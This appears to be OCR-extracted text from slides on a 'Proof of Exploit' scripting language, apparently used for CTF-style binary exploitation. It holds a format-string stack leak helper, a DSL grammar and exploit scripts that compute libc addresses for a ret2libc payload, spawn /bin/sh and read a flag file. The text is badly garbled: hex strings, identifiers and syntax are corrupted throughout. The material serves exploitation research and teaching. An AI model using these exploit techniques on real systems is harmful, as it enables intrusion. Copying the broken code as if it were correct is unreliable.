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def trigger fsb(se %}{:IL
self. handl
self.handle AN 77

def leak stack(self, offset):
payload = '%%%d$08x"' % offset
self.trigger fsb(payload)
self.handle.readuntil('\n")
self.stack = int(self.handle.readuntil('\n').strip(), 16) - 0x20
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program ::= stmt*

stmt ::=

| var = exp
| write exp O

ety o (Proof of Exploit)

|
|
| if exp then goto exp else
|
|

return exp

fun name = block EZ}(F)I()i

name ::= strin i
g | I O
block ::= stmt*

(Domain-Specific Language)

| exp + exp | exp - exp | exp

| exp / exp | exp >> exp | exp << exp

| exp exp
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#include <stdio.h>
void func(){
char *command;

eado 010);

system(command) ;

}
int main(){

func();

return 0;
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A= 1-01 of CHEt PoE

act exploit (): pzz/// ]

write 2F62696E2F7368007E7E7E7E7E7E7E7Ehs
write OAhs
delay 1000 EZZ//’ ]
write 636174202E2F666C61670Ahs

flag := (substr -128 -1 (read (-1)))

return flag

submit:
return (exploit ())
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act exploit ()
write 640Ahs
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write 310Ahs

dummy := (read (-1))

write 3TF23253A07842EEATEAC28575338158B09AA3CSEAEFCT339DEDABDIFAESSABAT256376D548FBABEATEDC
leak := (read (4))

offset := (getLibcFunc SF5F6C6962635F73746172745F6D61696Ehs)
systemOff := (getLibcFunc 73797374656Dhs)

binshOff := (getlibcStr 2F62696E2F7368hs)

libcbase := (leak - offset)

system := (libcbase + systemOff)

binsh := (libcbase + binshOff)

write 640Ahs

write 310Ahs

pay := 31F23253A07842EEATEAC28575338158B09AA3CS5EAEFCT339D8DABD3IFAESSAGATZ256376D548FB4ABEATED
nl := 0Ahs

pay := (pay . system)

pay := (pay . system}|

pay := (pay . binsh)

pay := (pay . nl)

write pay

delay 100

delay 1000

write 636174202E2F666C61670Ahs

flag := (substr -128 -1 (read (-1)))

return flag

submit:
return (exploit ()
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